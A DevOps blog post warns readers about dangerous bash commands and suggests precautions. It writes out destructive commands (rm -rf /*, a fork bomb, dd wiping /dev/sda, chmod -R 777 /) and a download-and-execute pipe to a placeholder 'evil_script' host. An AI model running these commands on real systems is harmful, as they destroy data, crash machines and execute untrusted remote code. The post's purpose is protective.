top of page
Search
understandingdevop

Dangerous commands which you should be aware of.

So there are few evil bash commands which you should try to avoid unless you actually know what you are going to do.

rm -rf 

This command deletes your files and directories forcefully.

example:- doing rm -rf /* will delete everything in your root file system(obviously this command cannot be simply executed without --no-preserve-root parameter).

I would recommend you should always create an alias of rm to rm -i.

Alias declares a aliases/shortcuts for bash commands. The syntax is like alias alias_name="command_to_run".

alias rm='rm -i'

So whenever you try to use rm command it will always ask you for the confirmation.


:(){:|:&};:

This is also known as a fork bomb. If you notice carefully, it is actually a never-ending function. A function is defined which is called ":" It calls itself twice in its own definition. At the end of the command, the function is initially called. I got a nice example:-

func () {
  func|func &
}
func

Once you execute this bash command it will execute a function that will replicate itself and consume all your server's memory and CPU. You can take precautions from this by setting up a limit in /etc/security/limits.conf. So that a user can only create a specified number of processes.


dd if=/dev/zero of=/dev/sda

This command will erase all your content present inside /dev/sda block.

- dd: is a command to copy data from one file or a device to another

- if: specifies the source and /dev/zero is an unlimited source of zero bytes

- of: specifies the target and /dev/sda is a disk drive or volume


for i in {1..10};do dd if=/dev/urandom of=/dev/sda;done

This command will overwrite your disk with random bytes for 10 times.


wget http://evil_script -O- | sh

This command will download the script using wget command and will execute the script using "sh" which we have specified after |. Always make sure what you are downloading from the internet and don't execute it blindly.


> filename

The above command will simply flush the file because I have specified > operator in the beginning. It will truncate the whole content present inside your file.


chmod -R 777 /

This will end up your server unusable.

There are many programs which checks permissions on files before starting.

You have just wiped out the setuid/setgid bits on the programs that had them.

This allows programs to run with more permissions than the user that ran them. It is used by many crucial system utilities including su and sudo. Your chmod command clears these bits leaving the utilities unusable.


alias chown='chown --preserve-root'

Adding this alias will always decline a recursive change on the root directory.


Please do not try these commands on your production, staging, local environment. My whole intention of writing this article is to explain to you, avoid using these commands or how can you take some precautions.

67 views0 comments

Comments


Post: Blog2_Post
bottom of page